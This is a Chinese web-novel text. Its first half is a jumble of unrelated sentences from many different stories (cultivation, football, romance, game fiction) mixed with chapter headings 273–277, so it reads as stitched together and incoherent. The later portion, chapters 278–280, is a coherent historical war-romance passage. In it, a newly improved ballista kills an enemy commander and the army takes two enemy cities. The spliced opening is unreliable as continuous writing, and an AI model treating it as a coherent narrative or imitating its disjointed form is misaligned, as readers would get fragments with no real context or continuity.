“对了阿含,你那天下午表演的那段武术,我不是帮你拍了吗?怎么没看到你上传到你的微博呀!”陈思彩一脸纳闷的问道。
这是谁家的傻丫头?洗鸳鸯浴还能这么大张旗鼓?真是没脑子的笨丫头。
季常达已经有一段时间没有出现在公司了,他看着公司的牌匾,新天地娱乐公司。他停下了脚步,看了好久。
都是给人当虾兵蟹将的,跟着苏家赚钱,或者是跟着当地大户赚钱,又有什么区别。
“怎么会?我帮你!”北冥傲想抱起她,可是发现她的双脚居然似乎和这虚空融为一体了,死死的长在地上,根本动不了。
周佩看着他们两人的样子,连忙说道:“我还有事,梓萱先走了。”她说完就离开了他们两人的面前。
顾锦宁不求拔头筹,可自己既不会骑射,也无马匹,大概到时只有被笑话的份儿。
屋子里突然安静下来,李夫人眼圈渐红,一旁的玥贵妃也是欲言又止。
班主任面上保持着微笑,“不是的,运动会后一天就去。”心里却咆哮着,她什么时候骗过他们?这么防着她干嘛?她不过是把奖励退后了一些日子吗?还不是因为唐渺渺身体不舒服,不然她不就早组织大家一起去了。
慕容雪的心里充满了甜蜜,对于身后的食人虫,早已被她抛到了脑后。
她还在生他刚刚明明有两个煎蛋,那么香的味道,她都已经准备好他送过来,最后竟然都不分自己一个。
曼联现在想要不被狂攻,要么进攻,要么就前场持球,无论哪一点,都不好做到。
他再趟了两大步,赶在对方后卫上来之前把球扫到了中路,因为他看见托雷斯从禁区边线撤了出来。
卢秋彤脑子还被音乐轰得有些晕,看赵雪灵竟然一出来就在战斗,看了会儿,这才上前。
连忙就把苏黎手中的手机抢了过去,对着那号码就视频通话了起来。
那位靠在长椅上的中年男子,这一刻也注意到了这边,目光瞬间就被湖上姑娘的倩影吸引住了。
“季少?你觉得怎么样了?还能走路吗?”她轻轻拍了拍季凉川的后背,他毫无反应。
对于这样一个对生活充满热情的人,沈杰觉得有责任要尽可能的去救他。
但也就是偏偏行外人,那些不懂不怎么明白的人会把这事儿当成一个正经工作来看。
“那个,老大,您这样和他啰嗦,会不会太温柔了,直接抽爆不就好了?”江明羽弱弱的问道,一脸不解。
好歹也是城隍,按理说神职还在鬼差之上,没想到沦落到这个地步。
“今年的兽潮……”大家脸上都带着紧张。今年运气不好,已经十多年都没有遇见如此巨大的兽潮了。
“卿卿,我去捕猎,你想吃什么肉?”密欧像是安了一个马达,一刻一闲不住。
浩浩荡荡大军出现,左侧大军身披黑甲,手执寒枪,背悬巨弩,他们没有坐骑,皆是步行飞奔。
第一卷 第273章 算计摄政王
陈大夫人脸上红一阵白一阵,只得讪讪退下。
陈芳蓠低着头,指尖紧紧掐进掌心。
这两年多来,她后悔得肠子都青了。
为了一时的畅快,毁了自己的一生。
多少次她怨自己,又怨母亲没能拦住她。
“韩铭?”方慎有些茫然,如果说封号的话,他应该听过,但是说真名,就未必了,毕竟不可能是和方慎一个时代的人物。
结结实实的挨了一下,祝星衡一下子就醒了。他还没有看到人,就再次挨了一下。随后就一头栽倒在地了。脑袋上全都是血。打他的人也在这个时候拿出绳子,开始将他绑起来。
战局伴随着轩辕身死,就已经的处于扫尾阶段,忠心轩辕之辈早就已经身死,如今的战场只是在不断的收降。
“从今天早上开始他就一直在这里,那种不知道是什么的银sè东西就侵蚀着他的皮肤和身体,这种情况太诡异了,所以才把你们叫来看看有没有什么解决的办法。”纤羽悠澜一脸担忧,看着地上的楚轩。
在将雷洞里面的怪物都杀掉之后,高枫就离开了雷洞。他也在最后一个洞穴里面,打到了雷洞进入卡。虽然只有两张,但是慢慢积累,也够大家用的。
毁灭剑祖有努力的方向,方慎也不遑多让,接下来的平稳期,他们都不会停下脚步。
这胖子实力强,脑子灵,游戏操作水平也不错。更重要的是他甘当绿叶,凡事都会刻意去迎合他人,很愿意为别人当垫脚石,这让他得以迅速的融入众人,并成为团队的润滑剂,让团队配合更流畅更犀利。
法力护看发出碎裂声,王陌伸出手,对准巨蛇的喉咙,正要打算像之前那样轰飞它时,一道红光乍现,咆哮的红sè光束瞬间将王陌轰飞而去,法力护盾破碎,王陌头顶再次飘起一道十多万的伤害数字,嘭的一声落在了地上。
等天一亮,众人就被带到了星光城中央的高塔上,那里,一位地修开启了通往九幽的门户。
柳千展灿然笑起:“我在想,冥冥之中似有定数。”天不亡贤王府。阿湛好福气,随随便便成个亲,便能将她娶进门。
生意场就是这样,花花轿子众人抬,祝鹏给她面子,她自然也不好拒绝。
徐知乎谁也没有理会,一把推开不让路的少忧,眼睛无神的走进去,静静的半跪在床头,尽量压低自己的存在感,看着她苍白无力的脸,她现在一定很痛苦。
如果两人的婚事败露,到底是怎样一副人仰马翻的情形,陛下也该想到的,却还是那么一往无前么?
“你们可有燕家的图纸?就是他们家里的格局,我去打探一下。”云溪不知道地形,所以不会贸然过去。
我身上穿着宽松的中衣,里面裹着一层层的布条,勒得我很难受,但却好像也因此,伤口并没有那么疼了。
慕容若和即墨对视了一眼,即墨摇了摇头,他也不知道,慕容若的父亲,与自己的父母到底有什么纠葛。
柏溪溪坐下来:“我还以为你不会出来呢,毕竟满京城的人都以为你扛不住压力销声匿迹了,就是出来也定然不敢穿着这样妖里妖气的露面。”应该将脸包起来,极尽端庄贤淑才是。
第一卷 第274章 灵感来源
在球场上北京兴仁禁区里扎堆的球员就象潮水一样涌出来,忽啦啦地扑向新时代的半场。
为何万夫人又带着她来到长安?万剑虹和晋州分堂又如何了?青叔知道么?
在这寂静的傍晚,在这空荡荡的球场上,皮球和脚背碰撞时发出的闷响能传出很远,空洞的声音会在空气里荡漾好一阵,带着悠长的余音缓缓地隐没在昏暗中。
东门庆不用回头就知道是佐藤秀吉,他也不理他,自回船舱中睡觉去。一些中国籍水手看见他这样无不切齿,认为这家伙已经成了一个彻头彻尾的奴才。不过这些水手也只是空自愤怒、空自担忧而已。
林剑澜又哪里能在门口呆得住,想了想一跺脚也跟了上去,看守寨门的喽啰正要阻拦,却哪来得及,只觉人影呼的一闪而过,沿着台阶噌噌的窜了上去。
唐之秋看着那黑云皱起了眉头,然后他让整个迎亲队伍抖停了下来。
如果不是因为帝释天是与阿喀琉斯是同一等级的存在,只怕在帝释天窥视的那刻便被击杀了。显然阿喀琉斯是很忌惮帝释天的,尽管此帝释天非彼帝释天,但那种熟悉的气息,阿喀琉斯是最熟悉不过的。
南天程还在犹豫,但刘晔知道他绝对不是怕了,而是谨慎。他在战场上职责和其他人不同,他是一个参谋,自然想得更多,才能作出规划和决定。
这可是难得的机会,况且黑暗系魔法本身就跟教廷冲突,接受也未尝不可以。但前提是必须弄清楚获的的代价是什么。
将来的客户主要面向神盾局,美国国防部,美国军方等等。卖的无非都是使徒岛上淘汰的技术和产品。卢克才不会傻到把自己最先进的装备卖出去。
莫羽晓听莫翳风这么说心头深深一闷,根本听不见莫翳风的解释。
表面上叶紫曦眨巴着一双明亮动人的眼睛,楚楚动人地看着莫翳风,但是心里却没有半分的期待,倒是想着莫翳风的礼物一定不便宜,说不定日后可以卖一个好价格。
我点点头,这是一次机会,哪怕其中危险重重,我也要尝试一下。
犹豫最前面的车辆并不知道发生了什么,一直都在用正常速度行驶。
说话间,夜家老太身上无形之气绽放,惠帝刚刚凝聚起来的意识随即就被这股气势轰散。
刚刚他试过了,在这个世界,无限手套并不能禁锢时间和空间,亦或者逆转时间、空间。
身在剑门,萧尘自然也是受到了分岭盛会的邀请,定于一个月后,在帝之城东面的帝尊山脉举行。
兰伯特离开了,皮尔斯深深吸了口气,身上的气息越发平和,转头冷漠瞥了眼病房内的情况,果断绝情的转身离开。
而林晓欢,作为这件事情的直接关系人,便成了老爷子的首要通缉对象。
到底是看上叶蓁美貌还是身份或者是她背后代表的势力,不论是哪个,君临楚都不希望。
一缕水蓝色的头发从莉丝拉娅的眼前慢慢落在地上,接着被一阵微风轻轻吹走。
“两个大宝贝,别装睡了,咱们该起床了。”男人轻轻笑着说道。
一味的用强,不可能每次都有这样的好运的。花城第一次想明白,不借助于他人,自已永远只能混迹于社会的最底层。
特别是雷灵身上仿佛是一个巨大的漩涡,四散的七彩雷光聚拢而来。
“按照你预料,咱们明天射击环节有没有被淘汰的可能。”我说出了自己的担心。
事后,她用一年时间来证明,不去见他,不去主动打扰他,好好学习,每天做的最多的事情,就是思念他,她想证明给他看自己对他绝对不是口上说说而已。
一大清早,韩旭那边又来人请他们俩去用餐,韩司佑当时的脸色十分难看。
虽然明知道这是一个极其艰巨的任务,可是丁克还是接受了。他实在是看不下去了,就这么短短的两天,大人就瘦了一圈。而直到今日,夫人都还没有清醒过来。
许琳不理解沈成韧为什么会这样想,但是他知道沈成韧一定是有自己的想法和打算。
“那也一样,他那么娇弱。”成言决意不要脸了,理直气壮起来。
连山知道两位留宿,又送了两床被褥来。明夷执意让二人睡床铺,自己打地铺,给二人挂上帘子先休息,自己还要忙一阵。
萧多罗微微一笑,也不在多问,和李元昊花前月下起来,李元昊很喜欢萧多罗的聪慧。当下两人便翻云覆雨去了,她心里有些不是滋味。
这是一个贪婪的世界,人是最贪婪的动物,他们渴望得到整个世界,得到了整个世界之后,他们还是无法满足,这个时候他们渴望得到更多的东西。
这个时候我开着车直接往中南海去了,古主席找我,相信应该是十万火急的事情的,要不然的话也就不会找我了。
说罢,右手放到左手手腕上,一下子扯断蓝向庭送给自己的手链,手链‘铮’的一声断开,上面的珠子噼里啪啦落在地面上,四处弹开。
听到妈妈说的这几个字,许琳一下子就愣住了,刹那间她的脑袋一片空白。
我走到严建的身边坐了下来,看真沉闷的南宫风和咖啡他们,我知道他们也和严建是一样的,只不过是他们没有说出来罢了。
这下氛围倒是彻底缓和了几分,原打算和爹爹聊些家常,却不料爹爹被陈烈老将军唤去,盛夫人倒是坐在一旁看着她,盛明珠刚刚起身打算走过去,却看到苏清婉纤腰一捻坐在了一旁,将方才轩辕炽打赏的玉佩递给了盛夫人。
“回来啦?正好,可以吃午饭了!”裴妈妈笑眯眯地端着菜从厨房里出来。
第一轮和第二轮空袭轰炸成功了之后,这个浅绿色的防御结界就已经施展开了。
第一卷 第275章 新武器
要是真一晚上都做那事,明日她肯定起不来床,而且夫君绝对不可以迟到。
可是赵炳煜并没有因霍凝玉的求饶而停下脚步。
最后的最后,霍凝玉说了实话,更加引得赵炳煜不知节制。
翌日,霍凝玉醒来时,早就过了早膳时间。
她想到昨夜的疯狂,都不好意思起床出去见人。
然而,他的身上,却有真瞳熟悉的气息,所以真瞳在多种因素下,才决定住下来。
既然是一个循环,那么,八荒神火的力量,姜预就可以帮冰莜凌分担一些。
所以说,面对一个满脑子激进,只想着搞事情,全然没有后顾之忧的人,说话还真是困难。
“要不我把你打失忆了,然后在喝了这杯水试试看?”叶晨说着,扭了扭脖子,好像一副要打架的意思。
敌人们距离得太远了,是处在田庄的中心位置,还有些的踪迹被那些建筑物给阻挡着,让他们看不真切。但这丝毫不影响接下来他们的举动,敌人们不来阻挡,不构成阻碍,这无疑对他们来说是一个非常利好的消息。
一击,让他跨越了一座一百公里的岛屿。可见这一击的力量有多么可怕。
现在杀了诡师根本没有任何作用,作为个辅助性人才,一切实力都源自于头脑,诡师死再多次还是诡师,实力不会有衰减,只要他能出现在三国,那么他就是诡师,现在他死了,阵法也不会停止运行。
一众生灵都是在交头接耳,发表着自己的看法,各自都有着各自的支持者,认为谁最有机会成为这个一千年的天骄之王。
“凌儿,妈跟你说了这么多大道理,你到底有没有听?”落无霜喝了一口气,问道。
那福来客栈福掌柜走入店来。福掌柜笑脸入店,忽见一推车停于店中。那推车载着俩坛子,便在几张桌间。福掌柜“咦?”一声,不那车如何来的。
“放肆!”南无天冷喝一声,手臂化作了苍天巨臂横扫了过来,与此同时,白沧澜身上剑威咆哮而起,从另一方向朝聂天诛杀了过来。
陈容笑道:“不是今天,是我从此后都会开开心心的过。”望着铜镜中长发被打散,青‘春’可人的自己的脸,陈容调皮地眨了眨眼。
风遗墨只用了区区半分钟不到,风落羽已经很震惊了。但是想到他强大的实力,为了不让自己显得老土,他忍住没说。
眼中多出了几分警惕的神情,立刻便是不由自主地咽下一口紧张的唾沫。
“皇上,不要,不要伤害咩咩!”陆晓歌这个时候不敢直接喊柳儿,生怕会被殷仲杰发现猫腻,现在她们唯一能做的就是统一口径死口不承认杨柳儿就是太后。
继而,聂天的目光射出一道冷芒,他的瞳孔已经开始弥漫出了可怕的杀机,这一缕杀机瞬息笼罩了秦炎,秦炎毫不示弱,同样有一股冷漠的杀机朝聂天笼罩而去。
“我去约会呀,你们两个是不是也在约会?”杨柳儿又在脑海里面歪歪一些基四射的画面,不好意SI地用两个糖遮脸,她害怕直视这他们两个发现她不纯洁的SI想。
“你们想过一个问题没有?”风震笑道,充满智慧的目光环顾着四周。
“好吧,我会去的。”素悦对皇甫环承诺了,旋即便是起身离开了这个地方。她又还掉了一个亏欠人情,道心变得更加稳如磐石了。
第一卷 第276章 我的娘啊,八百步!
“咦,这么快就做好了?”这时赵炳煜也找来了,看到已经做好的床弩,和霍凝玉昨晚画的图一模一样。
“夫君,你来得正好。我们正要试新改良的床弩。希望能达到理想的效果。”霍凝玉兴奋道。
赵炳煜围着已经蓄势待发的床弩转了一圈,又用手扳了扳弓,拉了拉弦。
过了好久,众人再一次渐渐的睡了过去,韩远一直睁着眼看怀里的人,把人抱在怀中,就一直僵持着一个动作。过去了几个时辰了,他都没有动一下。
望着妈妈低声叹惜的样子,陆辛甚至一时分不清她是在说真话还是假话。
莫河听后,让人将那宋史给抓上前来,然后拧着宋史的脖子,朝对面的人说道。
办公室里没人,刘美茹沉住气偷偷走进去,“门都没关,估计应该在办公室不远的地方。”她说着,然后坐到那张黑色椅子上转了转,悠闲自在的拿起桌子上的照片玩。
“好歹我也是金丹杀元婴,怎么说也是很强了吧?”秦云一脸求夸奖的表情。
雪妖目光闪烁,不断地打量着蛇王。他会一直奢望,可能也是某一种神兽的后代,但是他实在想不起来在他心里所了解的神兽,有哪一个的形象是这样的。
鹰王蹭的一声张开了双翅飞出了宫殿,至于他的那些手下,则是第一时间按照鹰王的要求去找地龙王了地龙王,就是剩下的4个兽王其中之一阴谋选择和他联合。
随后他又否定了,就算自己再有天赋那一位也不会来随时保护自己,更不可能对自己卑躬屈膝,不过事到如此他也只好顺着这胖子的话,缓缓的走上了演武场。
“没有说什么,倒是面色非常的痛苦。”韩远实话实说,没有隐瞒她。
整个房子空间很大,是中空的二层复式楼,抬头便可看到二层的走廊和围栏,走廊内侧是一扇扇整齐的房门。
夏寻又连忙向另一个方向望去,就见到那个地方出现了一只浑身黑毛的猴子。
一拳一角悍然碰撞,接着,两道身影便是齐齐往后爆退出去数丈。
不过他们马上就反应了过来,将精神力凝聚在体内,用热量化解了那些体内的冰针。
其实,就那样透过微弱的光芒静静地望着近在咫尺的她,他亦感到了一丝满足,只愿此刻谁也不來打扰他与她之间的这种不愿打破的沉静。
他仔细地观察这那血环密境,便看到,在那巨大的血色圆环之上,似乎的确是有一些地方的凶煞之气在逐渐变得稀薄,仿佛那血色圆环将会在那些地方裂开几道缝隙一般。
贾千千的眼泪终于让龙杰清醒了过来,这才发觉自己差点就伤害了她,做出禽兽不如的事。
明樾公子一直以翩翩佳公子形象示人,似乎不会动怒,此时也是愤怒了。
“蓄意勾引皇子,该当何罪!”龙杰将桌子一拍,怒吼一声。想到千千以后还不知能不能原谅自己,龙杰的火苗就哧哧的往上串。
却说贾千千和大牛来到了大街上,此时已到了交易尾声。所有的商人都将自己的货物放好后,开始出来玩乐享受。宣城不仅是三国商人交易货物,做买卖的天堂,更是有钱人玩乐的天堂。
喝着果汁,给安格斯他们打了一个电话,让他们明天来接他,然后就挂断了电话。
第一卷 第277章 孩子病了
“王爷,王妃,不好了,小世子和小郡主发起了高热。”卫嬷嬷急切禀报。
“什么?”夫妻俩一惊,几步进入内室,看到两个孩子脸色通红,已经睡着。
再一摸孩子的额头,果然很烫。
森林中的动物们都在拼命奔逃,想要离那云雾中庞然大物远一点。而当咆哮声如海浪般横扫而过时,大多数动物都瘫在了地上,只有那些最凶悍的猛兽还能继续奔逃。
叶一夏或许不知道姜森是什么人,但是自己却是知道的,而且,此时一夏正好与陈方平处在这种情况下,于自己来说,不可谓不是一种机会。
“好了!说正事吧,这就是我偶然得到的铜器,帮我掌掌眼,看看这到底是一件什么时期,什么朝代的东西。”李杰从密码箱中拿出一件铜盘。
云天扬不理睬众人议论,不断打量内院建筑设施,露出一丝满意神色。这里,比起外院,不知要好上多少倍。即便是‘元力场’,灵气也是无比充足。
两人聊完了,石庆华还要在监控室,通过卫星电话,了解派出去了那么多人,追踪骷髅会余孽下落的事情。
雷蒙抬起手,向下一压,众人立刻停止了议论。在座之人都是和约瑟夫公爵身份相当,或者相差不远的大人物,但他们都聚精会神地等着雷蒙发言。
许阳把自己捡漏的故事说完,但绝口不提这东西值多少钱,刘老还有唐老两人若有所思的看了一眼许阳!在这些老家伙面前玩计谋,他许阳还嫩了很多。
狼嘴洞穴处,已然是出现了数道人影。这些人,皆是凌空飞行,踏步而来。
只是酒足饭饱之后,陈凌唯一记得的,那就是黄胜利做的客家红焖肉确实挺不错,只是味道相对于金锁做的,还是要差一些。
这个师傅喜欢的这样的生活,强迫他去城市,美其名曰,去城市里过好日子,完全不顾师傅这老头愿不愿意,最后不过适得其反而已。
冷厉说着这话沿路很色,眼眸之间的冷然紧盯着夜莺歌活,像是要将叶卿歌给撕扯了吞进去。
很可惜没有人有时间去享受此时的美好,甚至连衣服都没有来得及解开,腾罗抱着苏蜜,直接坐进去。
叶卿歌知道,若是自己直接反对,难受的只是自己父亲罢了,最爱母亲的,是他。
欧阳山心中大惊,高个男可是欧阳家里实力数一数二的高手,但是因为心高气傲,一直和其他人不和,但是并不影响他在欧阳山心中的地位。
“八十分吧,最后有些情况处理的一般,回去还得练。”和诸葛闻先也是很熟悉了,叶闻勤说话自然也随意了一些。
慕青还没净手洗脸。之岚本欲让烟翠打水,不想凤凰已然端了水盆在门口敲门。
他不出声还好,一出声。王荌禹猛然抬起了头,死死地盯着他。却见她双眼血红,眼神凌厉如刀,似有煞气冲出,蕴含了尸山血海,万千杀劫,让人不敢直视。司寇南亦被她眼神吓的僵在原地。
随后在众人瞠目结舌下,准确找到蛇胆位置,用力一捏,一颗血淋淋的蛇胆脱体而出。
情况是会有着什么,他可是不在乎的,所以这白若男是谁,他都没有放在心上。
第278章 反攻开始
“皇上,你看好了。”赵炳煜炫耀似的开始操作。
一支利箭如闪电般飞出,引得赵凌哲发出一声惊叫。
远远地,他看到利箭稳稳地扎在那么厚的木板上。
如果木板不是架在一个牢固的架子上,估计早就被带飞了。
赵凌哲小跑过去,就看到利箭射穿了五寸厚的木板,一半在这边,一半在那边。
“这么厉害。”他伸手摸了摸箭羽,“哈哈,好好好。”
他也如昨日赵炳煜那般,大笑不止。
“王叔,再做几个出来,给钟离将军送去。朕要看西凉的将领如何死在这强弩之下。”赵凌哲已经开始幻想这款重器用在战场上,会引起怎样的轰动。
这种重器,最大的用处就是击杀敌军将领,不管他面前有多少护卫,只要出其不意,瞄准目标,必能一击爆头。什么铠甲都无用。
“好。”赵炳煜也是如此想的。
两个师傅看到皇帝这么高兴,更加有干劲了。
接下来的一个月里,赵炳煜找了几个木匠进府给鲁珩和梁益康打下手,加快进度。
梁益康负责做箭矢。
霍凝玉每日都盯着,又适当做了改进,添加了些更利于使用的小机关,让床弩在使用时更方便。
而就在他们日夜做床弩的这一个月,西凉出兵了,先是小试,再出动五万兵。
钟离洛带兵迎敌。
他手里的一万精兵,他怕损失太大,小规模的战斗,没让他们出战,而是让罗将军先用驻军迎战。
几次小规模战斗,各有输赢。
敌将赫连铁通过几次试探,也摸清了钟离洛的战术。
上书西凉皇帝,准备大举进攻。
五月初。
西凉发起了一次对南楚的大举进攻,出兵十万。
钟离洛出动自己的精兵,由罗弼强做主帅指挥战斗,而他做先锋,冲杀在最前面。
这一仗直杀得天昏地暗。
最终打到双方都坚持不住,同时鸣金收兵。
清点人数,钟离洛痛心疾首。
他培养了那么久的精兵,损失了八百多人,重伤两百多人,轻伤无数。
而他自己的胳膊也受了一记枪伤,好在只是皮外伤。
身上的小伤更是不知多少。
就在他们清扫战场时,皇上派人快马加鞭送来的两架巨型床弩送到。
赵炳煜派青云带队送来。
还有两个赵凌哲的暗卫也被他派来跟着。
一定要保证床弩的安全,并做好保密,除了几个重要将领,不得让其他人靠近。
以防被敌人探得,从而也做出同样的东西。
两军休战了半个月。
钟离洛见识到了床弩的威力后,调整战略,主动出击。
“罗将军,大伯父,此次我们兵分两路,向西凉的西煌城和西原城同时进攻。
两军各配一架重型床弩。
这几日,我们练习使用已经很熟练,以击杀主将为目标。
敌军没了主将,军队就立刻成为一盘散沙。我军定能一举得胜。”钟离洛对两架床弩十分看好。
这样的好东西,是南楚做出来的,而且还是王妃娘娘带着人研究出来的。
王妃定是怕他死在战场上,才用心设计这么好的东西,给他建功立业。
又想到家里的娇妻,已经怀孕快六个月。
他想回家陪她生产。
有了这样的利器,他一定能做到。
“好,我赞成。”钟离宏第一个支持侄儿的决定。
钟离宏正是钟离洛的亲大伯。
之前的战事,他的二儿子已经战死,现在身边只有大儿子。
如今侄子统领整个西北军。
他把希望都压在侄儿身上,希望侄儿能带着南楚军为他的二儿子报仇,打得西凉投降。
最好能签订百年不战的条约。
罗弼强想了想,也赞成。
其他副将见三位主将都一致赞成也纷纷同意反攻。
这么多年来,他们从来都是被动防守,这是他们第一次反攻。
他们都见识到了床弩的威力,个个都有了十足的信心。
五月初八,西北边军在钟离洛的带领下正式向西凉发起反攻。
当敌将赫连铁收到探子来报时,大笑不止。
“真是不自量力,就南楚那帮软脚虾也敢反攻。看本将军不打得他们仓皇而逃,再攻下南楚五个城池。
哼,钟离洛以为他有那一万精兵就能改变战局?真是白日做梦。
这次看本将不把他的精兵全给斩杀,有来无回。”
赫连铁眼睛危险地眯起。
他想立下不世之功,如果他在有生之年把南楚整个拿下,那他赫连家就是西凉国最大的功臣。
他手里二十五万大军,而对方只有十五万。
这么好的优势,他想输都难。胜利只会属于他。
“来人。”赫连铁一声喝,“通知各营副将到主帐商议。”
西凉将领商议如何迎敌暂且不说。
行军两日,钟离洛所带八万人到达西煌城下,离城二十里扎营。
赫连铁骑马亲自靠近查看,果然见南楚的旗帜迎风飘扬。
“真是胆大包天。钟离洛哪里来的底气?”赫连铁左思右想都想不出钟离洛到底有什么底气,敢如此行事?
看来还是太年轻,以为主动出击就能占据优势。
回到城里,赫连铁当即做出决定,趁他们行军刚到,疲累之际,杀他们一个措手不及。
当即点兵五万,其中三千轻骑。
他要亲自取钟离洛首级,让他出师未捷身先死,然后他就可以势如破竹直取南楚边城。
他在此守了太久,等着冬天过去,现在都已经五月,已不能再拖下去。需得速战速决,不然粮草就要供应不上。
钟离洛早有准备,探子报说赫连铁亲自出城探看他们安营扎寨,就知道他会突袭。
留下三万人安营,他也点兵五万直向西煌城方向而来。
行至十里处正好与敌军相遇。
“钟离将军,这才休整半个月,你就坐不住要来送死了?”赫连铁轻蔑地大声嘲笑。
“赫连将军,咱们谁死还不一定呢。可别把话说得太早。”钟离洛无惧他的嘲讽。
“既然你不识好歹,今日你就把命留下吧。
本将再打到南楚朔风城,再一路往南,直捣南楚京城。
你们的小皇帝,本将只需轻轻一捏,他就得死。哈哈......”
赫连铁嚣张大笑,好似那一刻已经到来。
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第279章 首战
钟离洛看赫连铁猖狂的大笑,眼睛危险地眯起。
“赫连将军,今日就比个高下,看谁笑到最后。”钟离洛也不在口舌上逞威风。
笑到最后的才是赢家。
两军相距也就五百步。
但两个主将并不在最前面,而是在中军位置,指挥战斗。
赫连铁端坐战马上,睥睨着南楚军阵,嗤笑道:“钟离小儿,既然你嫌命长,本将军今日便成全你。
十八年后,你还可以再做一条汉子,你最好选好投胎的地方,别在又投到南楚,本将还会再杀你一次。”
“赫连将军何必多言,阵前见真章便是。”
“给我杀。”赫连铁不多说废话,旗帜一挥,下达开战的命令。
青云带着床弩跟在军队后面。
床弩隐蔽地装在一辆特制的大马车里。
当战斗开始,青云几人把马车掉头,后车门向着敌军方向。
后车门经过改良,留有一个碗口大的孔。
几人开始调整,看好敌军首将。
青云不认识赫连铁,但看他的铠甲就知他是主帅。
“今日就拿你试验,让西凉兵见识见识我南楚床弩的威力。”青云冷哼一声。
两军阵前,战鼓如雷,杀声震天。
赫连铁坐镇中军,志得意满地看着自己的骑兵如尖刀般插入南楚军阵。
然而,他不知道的是,战场对面,青云冷冽的眼睛,正透过马车厢壁的观察孔,牢牢锁定他。
西凉三千铁骑率先发动冲锋。
南楚前军枪盾阵早已准备好,待到骑兵冲至百步内,钟离洛一个命令发出,盾隙间箭矢齐发,冲在最前的西凉骑兵瞬间人仰马翻。
西凉铁骑果然精锐,后续骑兵悍不畏死,终于撞入阵中,顿时血肉横飞。
青云隐在中军阵后,马车里的三弓床弩已经就位。
两名士兵转动绞盘,三张桑木硬弓缓缓收拢,牛筋弩弦绷紧时发出令人心悸的吱呀声。
一支特制的四棱透甲箭已安放于槽中,箭镞泛着幽光。
青云目光锁定五百步开外的赫连铁。
赫连铁金盔上的红缨随风而动,正挥动令旗调动左右两翼包抄南楚军。
他头上的红缨动向正好给青云作为风向的判断。
“风向东南,旗角西偏三分。”青云声音沉静,身旁副手立刻微调床弩方位。
这具大弩可贯五重铁甲,今日便要一试锋芒。
战场形势渐趋焦灼。
钟离洛指挥手下精骑冲杀左翼,精兵一如既往地凶悍,杀伤力极强,西凉兵将纷纷落马。
赫连铁见战事焦灼,催动坐骑向前移动,身旁亲卫高举盾牌护卫。
青云双眼如鹰隼。
就是此刻!
青云深吸一气,眼睛微眯,目标锁定,右手在击发机关上用力一按。
“嗡!”弓弦炸响如霹雳。
三弓叠加之力何等骇人,弩车猛然向后一挫,木轮被几个副手用力顶住。
一支与众不同的利箭破空而出,带着呼啸,掠过战场。
一名西凉副将恰在箭路上,连人带甲被贯穿,残躯竟被带飞数尺。箭矢去势未减,直扑中军赫连铁。
赫连铁目光炯炯注视着战局,正欲喝令,突然看到一个黑点正向他迎面扑来。
他想躲,可是速度太快,身形还来不及移动就忽觉胸口剧震。
巨力将他整个人掀离马背,向后飞跌一丈远。
低头时,只见一截乌黑箭杆透胸穿过他的胸膛。
精钢打造的护心镜如薄纸般被洞穿。
可他根本没有思考的时间,就“轰”的一声被死死钉在后面战车上的帅旗旗杆之上。
旗面还在猎猎作响,鲜血顺着箭杆汩汩涌出,须臾间他的战袍被染成了暗红。
西凉中军死寂一片。
而这一幕被钟离洛看得真真切切,嘴角勾起。
“赫连铁已死,”钟离洛长枪高举,声震全军,“都给我杀。”
南楚军阵中战鼓陡然转急,左右两路尽出。
原本佯装溃退的前军返身死战,三面合围。
敌军主将殒命,西凉军心霎时崩塌。
那是他们的大将军,皇后娘娘的亲哥哥,就这样被南楚一箭射杀。
南楚何时有了如此厉害的弓箭手?
可没人知道。
敌军军师本就站在赫连铁身边,与之一起看着战场。
这突来的变故,吓得军师跌坐在战车上,如丢了魂的木偶。
敌军一副将拔刀嘶吼:“稳住阵型。为大将军报仇。”
话音未落,第二支透甲箭正向他飞来,将他也如赫连铁那般射杀。
青云哪会放过这么好的机会,一招得手,立刻又上第二箭。
没了主帅的大军,失了有序指挥,单靠几个副将,只支撑了短短时间,阵型就乱作一团。
兵败如山倒。
西凉铁骑纵是精锐,此刻也成了无头之蛇,自相践踏死者不计其数。
钟离洛挥军全力扑杀,直杀得尸横遍野,敌军残部向西煌城方向溃退。
钟离洛看着溃败的敌军,眼神锐利如刀。
本小章还未完,请点击下一页继续阅读后面精彩内容!“夺城便在今日。”钟离洛长枪一指,一声高喝。
城门尚未关闭,溃兵如潮水般涌入,守将根本来不及反应。
钟离洛指挥着铁骑衔尾追击,溃兵争抢城门,自相拥堵践踏。
青云又拉开了第三箭,他的眼神特别好。
看准目标,一矢洞穿城门绞盘,千斤闸轰然坠地,城门再也无法关闭。
南楚军轻松入城。
申时末,南楚的赤焰战旗插上了西煌城楼。
钟离洛踏入城门时,夕阳正将城头染作血色。
将士们爬上城墙,欢呼雀跃。
多少年了,南楚从没占领过西凉的城池。
而今日,他们一雪前耻,终于站在了敌国的城楼上。
南楚的帅旗迎风烈烈作响。
钟离洛也走上城楼,解下有些沉重的头盔,举目望向来时路,那是南楚的国土,而此刻他站在刚刚收入囊中的新国土上。
这时青云走到他身边,也如他一样望着远处。
“钟离将军,在想什么?”青云随意问道。
“在想我的夫人。你说我能不能赶回去陪他生产?”钟离洛淡声道。
此时他真的在想他的夫人。
他立了大功,他最想让两个人知道,首先是他的夫人,再就是永安王妃。
有了床弩这样的利器,他是不是可以加快脚步,结束这场战争。
青云听得钟离洛的话,有点莫名,他没成亲,不理解这种激动的时刻怎么想到夫人。
钟离洛很快收回远眺的目光向青云郑重一抱拳。
“青云兄弟,今日你之功当属首功。你带来的床弩,可当十万兵。”
“将军过奖,器械死物,全赖将军运筹帷幄,将士用命拼搏。”
是夜,由罗弼强率领的另一支攻打西原城的战报也送到钟离洛案前。
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第280章 大捷
“哈哈,好,好!”看完战报,钟离洛大笑,“罗将军也大捷,夺下西原城。”
本打算在城外二十里处安营扎寨,没想到两边首战都如此顺利,一举拿下城池,原本安扎了一半的营地,立刻拆除,大军直接进城。
“将军,是不是罗将军那边也大捷?”副将伍淳安排好军务进帐就看到将军高兴大笑。
“是啊,罗将军手里只有七万兵,也如我们一样顺利拿下西原城。”钟离洛把战报递给伍淳,让他自己看。
他迎战的是敌军主帅,所以只给了罗弼强七万人。而自己带走了八万人,其中还有一万精兵。
今日,精兵在最开始稳住战局起了很大的作用。
而今日过后,敌军必定被吓破了胆。军心一旦动摇,想要再树立起来,可没那么容易。
西凉军几十年来,骄傲惯了,一受挫,必定无法接受。
“太好了。”伍淳看得眉开眼笑,“将军,我们是原地休整,还是继续向前?”
